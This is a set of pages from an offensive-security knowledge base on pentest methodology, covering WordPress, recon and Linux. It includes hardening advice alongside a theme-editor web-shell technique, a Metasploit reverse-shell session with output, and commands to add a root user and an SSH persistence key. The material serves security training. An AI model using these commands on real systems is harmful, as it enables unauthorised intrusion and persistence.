With administrative access to WordPress, we can modify the PHP source code to execute system commands. To perform this attack, log in to WordPress with administrator credentials, which should redirect us to the admin panel. Click on Appearance in the side panel and select Theme Editor. This page allows us to edit PHP source code directly. Select an inactive theme to avoid corrupting the main theme.
In this example, the active theme is Transportex, so an unused theme such as Twenty Seventeen should be selected instead.
Choose the inactive theme and click Select. Next, choose a non-critical file such as `404.php`, then add a web shell.
```php title="Twenty Seventeen Theme - 404.php" theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
```
The code above executes operating system commands through the GET parameter `cmd`. In this example, we modified `404.php` and introduced the `system()` function. Command execution can then be triggered by appending the `cmd` parameter to the URL, for example: `404.php?cmd=id`.
We can validate code execution by browsing to that URL directly or by issuing the following cURL request.
```shellsession title="RCE" theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ curl -X GET "http:///wp-content/themes/twentyseventeen/404.php?cmd=id"
uid=1000(wp-user) gid=1000(wp-user) groups=1000(wp-user)
```
## Attacking WordPress with Metasploit
### Automating WordPress Exploitation
We can use the Metasploit Framework (MSF) to obtain a reverse shell on the target automatically. This requires valid credentials for an account that has sufficient rights to create files on the webserver.
To obtain the reverse shell, we can use the `wp_admin_shell_upload` module. We can easily search for it inside MSF:
```shellsession title="MSF Search" theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
msf5 > search wp_admin
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/webapp/wp_admin_shell_upload 2015-02-21 excellent Yes WordPress Admin Shell Upload
```
The number `0` in the search results represents the ID for the suggested module. From here, we can specify the module by its ID number to save time.
```shellsession title="Module Selection" theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
msf5 > use 0
msf5 exploit(unix/webapp/wp_admin_shell_upload) >
```
### Exploitation
After using the `set` command to configure the required options, use `run` to execute the module. If all parameters are correct, it should spawn a reverse shell on the target.
```shellsession title="Set Options" theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts blog.inlanefreight.com
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set username admin
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set password Winter2020
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set lhost 10.10.16.8
msf5 exploit(unix/webapp/wp_admin_shell_upload) > run
[*] Started reverse TCP handler on 10.10.16.8:4444
[*] Authenticating with WordPress using admin:Winter2020...
[+] Authenticated with WordPress
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/YtyZGFIhax/uTvAAKrAdp.php...
[*] Sending stage (38247 bytes) to blog.inlanefreight.com
[*] Meterpreter session 1 opened
[+] Deleted uTvAAKrAdp.php
meterpreter > getuid
Server username: www-data (33)
```
# WordPress Fundamentals
Source: https://hackbook.dudji.com/attacks/web/wordpress/fundamentals
Default WordPress structure, core files, configuration, and role model.
## Installation Requirements
WordPress requires a fully installed and configured LAMP stack before installation on a Linux host:
* Linux operating system
* Apache HTTP Server
* MySQL database
* PHP
After installation, supporting files and directories are typically accessible from the webroot at `/var/www/html`.
## File Structure
Below is the directory structure of a default WordPress install, showing key files and subdirectories needed for the site to function.
```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ tree -L 1 /var/www/html
.
|-- index.php
|-- license.txt
|-- readme.html
|-- wp-activate.php
|-- wp-admin
|-- wp-blog-header.php
|-- wp-comments-post.php
|-- wp-config.php
|-- wp-config-sample.php
|-- wp-content
|-- wp-cron.php
|-- wp-includes
|-- wp-links-opml.php
|-- wp-load.php
|-- wp-login.php
|-- wp-mail.php
|-- wp-settings.php
|-- wp-signup.php
|-- wp-trackback.php
`-- xmlrpc.php
```
## Key WordPress Files
The root directory contains files needed for WordPress to function correctly.
* `index.php`: Homepage entry point.
* `license.txt`: Useful installation and version information.
* `wp-activate.php`: Handles email activation during new site setup.
* `wp-admin`: Contains administrator login and backend dashboard functionality.
* `xmlrpc.php`: XML-RPC endpoint for remote communication over HTTP/XML. This has largely been replaced by the WordPress REST API.
Common login paths include:
* `/wp-admin/login.php`
* `/wp-admin/wp-login.php`
* `/login.php`
* `/wp-login.php`
Administrators can also rename login-related paths to make discovery harder.
## WordPress Configuration File
The `wp-config.php` file includes database connection settings, authentication keys and salts, table prefix configuration, and debug settings.
```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
*/
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );
/** MySQL database username */
define( 'DB_USER', 'username_here' );
/** MySQL database password */
define( 'DB_PASSWORD', 'password_here' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Authentication Unique Keys and Salts */
/* */
define( 'AUTH_KEY', 'put your unique phrase here' );
define( 'SECURE_AUTH_KEY', 'put your unique phrase here' );
define( 'LOGGED_IN_KEY', 'put your unique phrase here' );
define( 'NONCE_KEY', 'put your unique phrase here' );
define( 'AUTH_SALT', 'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT', 'put your unique phrase here' );
define( 'NONCE_SALT', 'put your unique phrase here' );
/** WordPress Database Table prefix */
$table_prefix = 'wp_';
/** For developers: WordPress debugging mode. */
/** */
define( 'WP_DEBUG', false );
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
```
## Key WordPress Directories
The `wp-content` directory is where plugins and themes are stored. Its `uploads` subdirectory usually contains user-uploaded files.
These paths should always be enumerated carefully because they may expose sensitive files, insecure upload handling, or vulnerable components.
```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ tree -L 1 /var/www/html/wp-content
.
|-- index.php
|-- plugins
`-- themes
```
The `wp-includes` directory stores core WordPress components such as certificates, fonts, JavaScript files, and widgets.
```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ tree -L 1 /var/www/html/wp-includes
.
|--
|-- theme.php
|-- update.php
|-- user.php
|-- vars.php
|-- version.php
|-- widgets
|-- widgets.php
|-- wlwmanifest.xml
|-- wp-db.php
`-- wp-diff.php
```
## WordPress User Roles
There are five default user role types in a standard WordPress installation.
| Role | Description |
| ------------- | ------------------------------------------------------------------------------------------------------------------- |
| Administrator | Full administrative access to the website, including user management, content management, and source-level changes. |
| Editor | Can publish and manage posts, including posts created by other users. |
| Author | Can publish and manage only their own posts. |
| Contributor | Can write and manage their own posts but cannot publish them. |
| Subscriber | Standard low-privilege account that can read content and edit its own profile. |
Gaining administrator access is usually the most direct path to server-side code execution. However, editor and author accounts may still expose meaningful attack paths when vulnerable plugins or role-misconfigured features are present.
# WordPress Hardening
Source: https://hackbook.dudji.com/attacks/web/wordpress/hardening
Practical controls to reduce WordPress attack surface and limit impact.
## WordPress Hardening
### Best Practices
Below are some best practices for preventing attacks against a WordPress site.
### Perform Regular Updates
This is a key principle for any application or system and can greatly reduce the risk of a successful attack. Make sure that WordPress core, as well as all installed plugins and themes, are kept up-to-date. Researchers continuously find flaws in third-party WordPress plugins. Some hosting providers perform continuous automatic updates of WordPress core. The WordPress admin console will usually prompt when plugins or themes need to be updated or when WordPress itself requires an upgrade.
You can modify `wp-config.php` to enable automatic updates by inserting the following lines:
```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
define( 'WP_AUTO_UPDATE_CORE', true );
```
```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
add_filter( 'auto_update_plugin', '__return_true' );
```
```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
add_filter( 'auto_update_theme', '__return_true' );
```
### Plugin and Theme Management
Only install trusted themes and plugins from the WordPress.org website. Before installing a plugin or theme, check its reviews, popularity, number of installs, and last update date. If either has not been updated in years, it may no longer be maintained and may contain unpatched vulnerabilities. Routinely audit the site and remove any unused themes and plugins.
### Enhance WordPress Security
Several WordPress security plugins can be used to enhance website security. These plugins can be used as a Web Application Firewall (WAF), malware scanner, monitoring and activity auditing tool, brute-force protection layer, and strong password enforcement control.
Sucuri Security ([wordpress.org/plugins/sucuri-scanner/](https://wordpress.org/plugins/sucuri-scanner/))
This plugin is a security suite consisting of the following features:
* Security Activity Auditing
* File Integrity Monitoring
* Remote Malware Scanning
* Blacklist Monitoring
iThemes Security ([wordpress.org/plugins/better-wp-security/](https://wordpress.org/plugins/better-wp-security/))
iThemes Security provides 30+ ways to secure and protect a WordPress site, such as:
* Two-Factor Authentication (2FA)
* WordPress Salts and Security Keys
* Google reCAPTCHA
* User Action Logging
Wordfence Security ([wordpress.org/plugins/wordfence/](https://wordpress.org/plugins/wordfence/))
Wordfence Security consists of an endpoint firewall and malware scanner.
* The WAF identifies and blocks malicious traffic.
* The premium version provides real-time firewall rule and malware signature updates.
* Premium also enables real-time IP blacklisting to block requests from known malicious IPs.
### User Management
Users are often targeted because they are generally seen as the weakest link in an organization. The following user-related best practices improve the overall security of a WordPress site:
* Disable the standard admin user and create accounts with difficult-to-guess usernames.
* Enforce strong passwords.
* Enable and enforce two-factor authentication (2FA) for all users.
* Restrict user access based on least privilege.
* Periodically audit user rights and access. Remove unused accounts or revoke access that is no longer needed.
### Configuration Management
Certain configuration changes can increase the overall security posture of a WordPress installation:
* Install a plugin that disallows user enumeration so attackers cannot gather valid usernames for password spraying.
* Limit login attempts to prevent password brute-force attacks.
* Rename `wp-login.php` or relocate the login page so it is not broadly exposed, or allow access only from specific IP addresses.
# WordPress
Source: https://hackbook.dudji.com/attacks/web/wordpress/index
Enumerate, assess, and exploit common WordPress attack paths.
Core file layout, configuration, key directories, and user roles.
Fingerprinting, user discovery, plugin and theme enumeration, and endpoint
mapping.
Credential abuse, vulnerable extensions, authenticated code execution, and
post-exploitation validation.
Security controls, attack-surface reduction, and defensive baselines for
production WordPress deployments.
# Hackbook
Source: https://hackbook.dudji.com/index
A structured offensive security knowledge base — methodology, attacks, tech, payloads, and tools.
# Payloads
Source: https://hackbook.dudji.com/payloads/index
Payload library — ready-to-use payloads for various attack scenarios.
The Payload library is a collection of **tested, ready-to-use payloads** organized by type and use case.
Payloads for various languages and environments.
Maintain access through a web interface.
Move files between attacker and target systems.
# Enumeration
Source: https://hackbook.dudji.com/playbook/enumeration/index
Systematic enumeration to identify vulnerabilities, misconfigurations, and attack paths.
Enumeration goes deeper than recon — it involves **actively querying** services, applications, and systems to extract actionable intelligence.
Directory busting, parameter fuzzing, technology fingerprinting, and more.
Deep host service, configuration, and authentication-path enumeration.
Protocol-level access, control, and exposure validation.
# Web Enumeration
Source: https://hackbook.dudji.com/playbook/enumeration/web-enumeration
Enumerate web applications — directories, parameters, technologies, and hidden attack surface.
Web enumeration is the process of systematically probing a web application to map its structure and identify potential vulnerabilities before exploitation.
## Technology Fingerprinting
Identify the tech stack before diving deeper.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Whatweb - quick fingerprint
whatweb http://target.com
# Wappalyzer (browser extension or CLI)
wappalyzer http://target.com
```
## Directory & File Busting
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Feroxbuster - fast recursive directory busting
feroxbuster -u http://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# Gobuster
gobuster dir -u http://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
# ffuf
ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```
## Parameter Fuzzing
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# fuzz GET parameters
ffuf -u "http://target.com/page?FUZZ=value" -w /usr/share/wordlists/burp-parameter-names.txt
# fuzz parameter values
ffuf -u "http://target.com/page?id=FUZZ" -w /usr/share/wordlists/common.txt
```
## Virtual Host Enumeration
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# gobuster vhost
gobuster vhost -u http://target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
# ffuf vhost
ffuf -u http://target.com -H "Host: FUZZ.target.com" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
```
## Robots & Sitemap
Always check these manually:
```
http://target.com/robots.txt
http://target.com/sitemap.xml
http://target.com/.well-known/
```
Combine directory busting results with parameter fuzzing on discovered endpoints for maximum coverage.
# Exploitation
Source: https://hackbook.dudji.com/playbook/exploitation/index
Turning enumeration findings into initial access.
This section is currently being built out. Check back soon.
Exploitation is the phase where identified vulnerabilities are **weaponized** to gain initial access to a system or application.
# Playbook
Source: https://hackbook.dudji.com/playbook/index
Methodology & flow — a structured approach to offensive engagements.
The Playbook defines the **operational methodology** used throughout all engagements. Each phase builds on the previous, creating a disciplined and repeatable attack flow.
Passive and active reconnaissance techniques to map the target surface.
Deep-dive enumeration to identify entry points and misconfigurations.
Gaining initial access by exploiting discovered vulnerabilities.
Actions on objectives - persistence, pivoting, and exfiltration.
# Post-Exploitation
Source: https://hackbook.dudji.com/playbook/post-exploitation/index
Actions on objectives — persistence, lateral movement, and exfiltration.
This section is currently being built out. Check back soon.
Post-exploitation covers everything that happens **after initial access** — stabilizing your foothold, escalating privileges, moving laterally, and achieving your objectives.
# Recon
Source: https://hackbook.dudji.com/playbook/recon/index
Passive and active reconnaissance — mapping the target before you touch it.
This section is currently being built out. Check back soon.
Reconnaissance is the **first and most critical phase** of any engagement. The goal is to gather as much information about the target as possible without triggering detection.
Map network layout, edge exposure, and infrastructure trust boundaries.
Host-level and remote-management deep dives are now tracked under Enumeration
to avoid duplicate topic pages.
# Infrastructure Based Enumeration
Source: https://hackbook.dudji.com/playbook/recon/infrastructure-based-enumeration
Map the external and internal infrastructure footprint before deep host probing.
## Domain Information
Start by mapping the organization's public footprint from a black-box perspective.
Results in labs and real engagements will differ. Use these examples as a
methodology reference, not as exact expected output.
### Online Presence
Useful first-pass sources:
* TLS certificates (main domain and SANs)
* Certificate Transparency logs (`crt.sh`)
* DNS records (`A`, `MX`, `NS`, `TXT`, `SOA`)
Example CT query:
```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
https://www.crt.sh/?q=inlanefreight.com
```
Typical certificate clues to capture:
* certificate validity period
* SAN entries (`www`, `support`, `api`, etc.)
* issuer/provider patterns across subdomains
JSON output:
```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
curl -s https://crt.sh/\?q\=inlanefreight.com\&output\=json | jq .
```
Example fields worth extracting:
```json theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
{
"issuer_name": "C=US, O=Let's Encrypt, CN=R3",
"common_name": "matomo.inlanefreight.com",
"name_value": "matomo.inlanefreight.com",
"entry_timestamp": "2021-08-21T06:00:17.173",
"not_after": "2021-11-19T05:00:15"
}
```
Unique subdomain extraction:
```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
curl -s https://crt.sh/\?q\=inlanefreight.com\&output\=json | jq . | grep name | cut -d":" -f2 | grep -v "CN=" | cut -d'"' -f2 | awk '{gsub(/\\n/,"\n");}1;' | sort -u
```
Example resulting domains:
```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
account.ttn.inlanefreight.com
blog.inlanefreight.com
matomo.inlanefreight.com
smartfactory.inlanefreight.com
ttn.inlanefreight.com
www.inlanefreight.com
```
### Company-Hosted vs Third-Party Hosts
Distinguish infrastructure you are allowed to test from third-party assets.
```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
for i in $(cat subdomainlist);do host $i | grep "has address" | grep inlanefreight.com | cut -d" " -f1,4;done
```
Example output:
```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
blog.inlanefreight.com 10.129.24.93
inlanefreight.com 10.129.27.33
matomo.inlanefreight.com 10.129.127.22
www.inlanefreight.com 10.129.127.33
s3-website-us-west-2.amazonaws.com 10.129.95.250
```
Use the resulting IPs for passive enrichment (for example, Shodan) before active validation.
```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
for i in $(cat subdomainlist);do host $i | grep "has address" | grep inlanefreight.com | cut -d" " -f4 >> ip-addresses.txt;done
for i in $(cat ip-addresses.txt);do shodan host $i;done
```
Example enrichment snapshot:
```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
10.129.27.33
Organization: InlaneFreight
Open ports: 22/tcp, 80/tcp, 443/tcp
10.129.27.22
Open ports: 25,53,80,81,110,111,443,444
```
### DNS Records
```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
dig any inlanefreight.com
```
Example record slice:
```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
inlanefreight.com. 300 IN A 10.129.27.33
inlanefreight.com. 3600 IN MX 1 aspmx.l.google.com.
inlanefreight.com. 21600 IN NS ns.inwx.net.
inlanefreight.com. 3600 IN TXT "atlassian-domain-verification=..."
inlanefreight.com. 300 IN TXT "v=spf1 include:mailgun.org ..."
```
What to extract quickly:
* `A`: domain-to-IP mappings
* `MX`: email provider path
* `NS`: hosting/provider hints
* `TXT`: verifications + email security controls (`SPF`, `DMARC`, `DKIM`)
* `SOA`: zone authority metadata
High-value clue mapping:
| Clue Type | Why It Matters |
| ------------------------------------------------ | ------------------------------------------------------------ |
| Atlassian / Google / Outlook / Mailgun / LogMeIn | Reveals core business stack and third-party trust boundaries |
| SPF IPs in TXT records | Can expose additional infrastructure IPs |
| NS provider names | Helps infer DNS/hosting architecture |
Quick provider/IP extraction from TXT values can reveal hidden service dependencies worth tracking in your recon notes.
## Cloud Resources
Cloud platforms (AWS, Azure, GCP) are standard, but tenant-side misconfiguration can expose data.
Common exposure targets:
* AWS S3 buckets
* Azure Blob storage
* GCP Cloud Storage
### Discovery Paths
* DNS/host outputs that reveal cloud endpoints
* Search indexing of public cloud files
* Website source code referencing cloud assets
* Third-party domain/cloud enrichment platforms
Useful search patterns (examples):
```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
intext: inurl:amazonaws.com
intext: inurl:blob.core.windows.net
```
Example cloud clue in host output:
```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
... s3-website-us-west-2.amazonaws.com ...
```
Also inspect front-end source for externally loaded assets (JS/CSS/media) that point to cloud object stores.
### Practical Workflow
1. Collect candidate storage endpoints passively.
2. Pivot with company names and known abbreviations.
3. Filter by file type and recency.
4. Build a prioritized validation list inside scope.
Common recon pivot targets:
* bucket/container naming conventions
* environment labels (`dev`, `prod`, `backup`, `archive`)
* file extensions (`.pdf`, `.docx`, `.zip`, `.json`, `.pem`, `.key`)
### Risk Signal
Operational pressure often causes accidental public exposure of sensitive files.
Real-world examples include exposed key material, internal documents, or config exports in cloud storage indexes.
Treat discovered sensitive artifacts as high-severity evidence. Stay inside
authorized scope and follow reporting/disclosure rules.
## Staff
Employee OSINT helps infer technology stack, delivery model, and security maturity.
Primary sources:
* LinkedIn/Xing profiles
* public job postings
* public repositories and shared technical content
### Job Post Intelligence
Job requirements can quickly reveal probable stack components:
* languages: Java, C#, C++, Python, Ruby, PHP, Perl
* databases: PostgreSQL, MySQL, SQL Server, Oracle
* frameworks: Flask, Django, Spring, ASP.NET MVC
* tooling: Git/SVN/Perforce, Atlassian suite, CI/CD
Example extraction workflow from a single job post:
1. collect languages and framework requirements
2. map likely backend and data layers
3. identify CI/CD and collaboration tooling
4. infer probable attack surface families (web, API, auth, data)
### Profile and Repository Signals
Common recon value:
* framework preferences (front-end/back-end)
* architecture patterns and domain focus
* public code quality and accidental metadata leakage
Signals to bookmark:
* explicit mentions of React/Svelte/Angular/Flask/Django/etc.
* links to personal or org repositories
* project descriptions tied to internal systems (CRM, broker portals, analytics)
Potential exposure indicators:
* personal/work email leakage
* hardcoded secrets/tokens in shared code
* sensitive internal context in project artifacts
Typical leaks seen during staff OSINT:
* personal email addresses reused in commits
* copied secrets/tokens in sample code
* verbose stack traces or configuration fragments in public snippets
### Search Strategy
When your goal is infrastructure mapping, prioritize profiles from:
* engineering/development
* platform/infrastructure
* security/operations
Use filters (location, title, company, industry) to reduce noise and improve signal quality.
Recommended output from this phase:
* prioritized employee-role list
* inferred technology stack map
* tooling/provider dependency map
* potential social-engineering and credential-risk observations for reporting
# Tech
Source: https://hackbook.dudji.com/tech/index
Tech-specific patterns — deep dives into operating systems, services, and infrastructure.
The Tech section covers **system-level knowledge** required to understand attack surfaces, identify misconfigurations, and exploit technology-specific vulnerabilities.
System fundamentals, authentication, services, and storage — everything you
need to know to own a Linux box.
Privileges, groups, services, and the registry — everything you need to own a
Windows box.
Common network services — enumeration, misconfigurations, and attack paths for
each protocol.
# Authentication & Authorization
Source: https://hackbook.dudji.com/tech/linux/authentication-authorization
Linux authentication internals — PAM, passwd, shadow, SSH, and sudo.
## /etc/passwd
Each line represents a user account:
```
username:x:UID:GID:comment:home:shell
root:x:0:0:root:/root:/bin/bash
```
The `x` means the password hash is stored in `/etc/shadow`. If writable, you can add a root user directly.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Check if writable
ls -la /etc/passwd
# Generate a password hash
openssl passwd -1 -salt salt password123
# Add new root user
echo 'hacker:$1$salt$HASH:0:0:root:/root:/bin/bash' >> /etc/passwd
```
## /etc/shadow
Stores the actual password hashes. Only readable by root.
```
username:$hash_type$salt$hash:last_changed:min:max:warn:inactive:expire
```
| Hash prefix | Algorithm |
| ----------- | --------- |
| `$1$` | MD5 |
| `$5$` | SHA-256 |
| `$6$` | SHA-512 |
| `$y$` | yescrypt |
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Crack with hashcat
hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt # SHA-512
# Crack with john
john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt
```
## SSH Keys
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Default key locations
~/.ssh/id_rsa # private key
~/.ssh/id_rsa.pub # public key
~/.ssh/authorized_keys # trusted public keys
# If you find a private key
chmod 600 id_rsa
ssh -i id_rsa user@target.com
# Generate a new key pair
ssh-keygen -t rsa -b 4096
# Add your key for persistence
echo "YOUR_PUB_KEY" >> ~/.ssh/authorized_keys
```
## sudo
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Check current user's sudo permissions
sudo -l
# Common sudoers file location
cat /etc/sudoers
ls /etc/sudoers.d/
# Run command as another user
sudo -u www-data /bin/bash
```
## PAM (Pluggable Authentication Modules)
PAM controls how authentication happens at the system level.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# PAM config files
ls /etc/pam.d/
# Common services
/etc/pam.d/sshd
/etc/pam.d/sudo
/etc/pam.d/login
```
Misconfigured PAM modules can lead to authentication bypass. Always check PAM configs during post-exploitation enumeration.
# Bash Scripting
Source: https://hackbook.dudji.com/tech/linux/bash-scripting
Compact Bash fundamentals for arguments, variables, flow control, operators, functions, and debugging.
## Basic Script
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
#!/bin/bash
if [ $# -eq 0 ]
then
echo -e "You need to specify the target domain.\n"
echo -e "Usage:"
echo -e "\t$0 "
exit 1
else
domain=$1
fi
```
* `#!/bin/bash` selects the interpreter.
* `if-else-fi` handles conditional execution.
* `echo` prints output.
* `$#`, `$0`, and `$1` are special variables.
* `domain=$1` stores the first user argument.
## Shebang
The shebang is the first line of a script and starts with `#!`. It tells the
system which interpreter should run the file.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
#!/bin/bash
```
Other common examples:
```python theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
#!/usr/bin/env python
```
```perl theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
#!/usr/bin/env perl
```
## Conditionals
Use `if`, `elif`, `else`, and `fi` to branch based on conditions.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
#!/bin/bash
value=$1
if [ "$value" -gt "10" ]
then
echo "Given argument is greater than 10."
elif [ "$value" -lt "10" ]
then
echo "Given argument is less than 10."
else
echo "Given argument is not a number."
fi
```
```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ bash if-elif-else.sh HTB
if-elif-else.sh: line 5: [: HTB: integer expression expected
if-elif-else.sh: line 8: [: HTB: integer expression expected
Given argument is not a number.
```
## Arguments and Variables
Bash supports positional arguments directly.
* `$0` is the script name.
* `$1` to `$9` are the first nine positional arguments.
* `$#` is the number of arguments.
```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ ./script.sh ARG1 ARG2 ARG3 ... ARG9
ASSIGNMENTS:
$0 $1 $2 $3 ... $9
```
### Special Variables
Special variables use the [Internal Field Separator](https://bash.cyberciti.biz/guide/\$IFS)
(`IFS`) to split arguments.
| Special Variable | Description |
| ---------------- | --------------------------------------------------- |
| `$#` | Number of arguments passed to the script. |
| `$@` | Full list of command-line arguments. |
| `$n` | Argument by position, for example `$1`. |
| `$$` | PID of the current process. |
| `$?` | Exit status of the last command. `0` means success. |
### Variables
Assignments do not use `$`, and there must be no spaces around `=`.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
domain=$1
echo "$domain"
```
Bash treats variable content mostly as strings unless used in arithmetic.
Variables are global by default unless declared with `local`.
```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ variable = "this will result with an error."
command not found: variable
Dudji@htb[/htb]$ variable="Declared without an error."
Dudji@htb[/htb]$ echo $variable
Declared without an error.
```
### Arrays
Arrays store multiple values under one variable name, indexed from `0`.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
#!/bin/bash
domains=(www.inlanefreight.com ftp.inlanefreight.com vpn.inlanefreight.com www2.inlanefreight.com)
echo ${domains[0]}
```
Quoted values stay together as one array element:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
#!/bin/bash
domains=("www.inlanefreight.com ftp.inlanefreight.com vpn.inlanefreight.com" www2.inlanefreight.com)
echo ${domains[0]}
```
## Arithmetic
Use arithmetic expansion `$((...))` and increment/decrement operators for math.
| Operator | Description |
| ------------ | -------------- |
| `+` | Addition |
| `-` | Subtraction |
| `*` | Multiplication |
| `/` | Division |
| `%` | Modulus |
| `variable++` | Increase by 1 |
| `variable--` | Decrease by 1 |
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
#!/bin/bash
increase=1
decrease=1
echo "Addition: 10 + 10 = $((10 + 10))"
echo "Subtraction: 10 - 10 = $((10 - 10))"
echo "Multiplication: 10 * 10 = $((10 * 10))"
echo "Division: 10 / 10 = $((10 / 10))"
echo "Modulus: 10 % 4 = $((10 % 4))"
((increase++))
echo "Increase Variable: $increase"
((decrease--))
echo "Decrease Variable: $decrease"
```
`${#variable}` returns string length:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
#!/bin/bash
htb="HackTheBox"
echo ${#htb}
```
## Input and Output
### Input Control
Use `read` when the script should pause for user input.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
echo -e "Additional options available:"
echo -e "\t1) Identify the corresponding network range of target domain."
echo -e "\t2) Ping discovered hosts."
echo -e "\t3) All checks."
echo -e "\t*) Exit.\n"
read -p "Select your option: " opt
```
### Output Control
Use `tee` when you want to both display output and save it to a file.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
netrange=$(whois $ip | grep "NetRange\|CIDR" | tee -a CIDR.txt)
hosts=$(host $domain | grep "has address" | cut -d" " -f4 | tee discovered_hosts.txt)
```
`-a` appends instead of overwriting.
```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ cat discovered_hosts.txt CIDR.txt
165.22.119.202
NetRange: 165.22.0.0 - 165.22.255.255
CIDR: 165.22.0.0/16
```
## Flow Control - Branches
Branches let the script choose one path over another. In Bash, the main branch
constructs are `if-else` and `case`.
### Case Statements
`case` compares one expression against exact patterns.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
case in
pattern_1 ) statements ;;
pattern_2 ) statements ;;
pattern_3 ) statements ;;
esac
```
Example:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
case $opt in
"1") network_range ;;
"2") ping_host ;;
"3") network_range && ping_host ;;
"*") exit 0 ;;
esac
```
## Functions
Functions keep scripts shorter and easier to reuse. Define them before the
first call because Bash reads from top to bottom.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
function name {
}
```
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
name() {
}
```
Example:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
function network_range {
for ip in $ipaddr
do
netrange=$(whois $ip | grep "NetRange\|CIDR" | tee -a CIDR.txt)
cidr=$(whois $ip | grep "CIDR" | awk '{print $2}')
cidr_ips=$(prips $cidr)
echo -e "\nNetRange for $ip:"
echo -e "$netrange"
done
}
```
### Parameter Passing
Functions use their own positional parameters, just like scripts.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
#!/bin/bash
function print_pars {
echo $1 $2 $3
}
one="First parameter"
two="Second parameter"
three="Third parameter"
print_pars "$one" "$two" "$three"
```
### Return Values
Functions return status codes, and `$?` reads the last one.
| Return Code | Description |
| ----------- | ------------------------------ |
| `1` | General errors |
| `2` | Misuse of shell builtins |
| `126` | Command invoked cannot execute |
| `127` | Command not found |
| `128` | Invalid argument to exit |
| `128+n` | Fatal error signal `n` |
| `130` | Script terminated by Control-C |
| `255` | Exit status out of range |
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
#!/bin/bash
function given_args {
if [ $# -lt 1 ]
then
echo -e "Number of arguments: $#"
return 1
else
echo -e "Number of arguments: $#"
return 0
